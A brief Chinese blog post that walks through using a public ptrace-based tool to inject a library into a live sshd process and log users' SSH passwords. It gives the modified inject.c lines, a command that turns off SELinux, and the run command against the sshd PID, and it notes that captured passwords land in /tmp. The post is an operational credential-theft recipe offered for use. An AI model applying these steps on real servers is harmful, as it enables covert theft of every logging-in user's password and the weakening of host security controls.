无需重新编译OpenSSH,通过ptrace注入记录SSHD密码
无需重新编译OpenSSH,通过ptrace注入记录SSHD密码
本来想自己研究一下然后写一个,在查资料的时候发现别人已经研究写出了成型的demo,原文可以查看
https://blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/
国内缓存:https://buaq.net/go-25514.html
工具链接:https://github.com/xpn/ssh-inject
原文就不翻译了,说一下用法和几个需要修改地方
他的逻辑大概是先通过hook libdl.so实现注入一个so文件到sshd里面,然后在通过这个so去hook auth_password实现密码记录。
首先需要先查看当前机器的sshd的libdl版本,
ps aux|grep sshd #获取pid
查看其调用的libdl版本
修改ssh-inject/inject.c中的libdl部分代码
...
void *libdlAddr = NULL;
libdlAddr = dlopen("libdl-2.19.so", RTLD_LAZY);
....
remoteLib = findLibrary("libdl-2.19", atoi(argv[1]));
...
...
localLib = findLibrary("libdl-2.19", -1); //
...
把这三个位置的libdl-2.19改成之前查看出来的libdl-2.17即可
然后临时关闭SElinux,否则会导致注入失败
setenforce 0 #临时关闭SELinux
./run.sh 23189 #sshd的pid
记录到的密码默认写到tmp目录下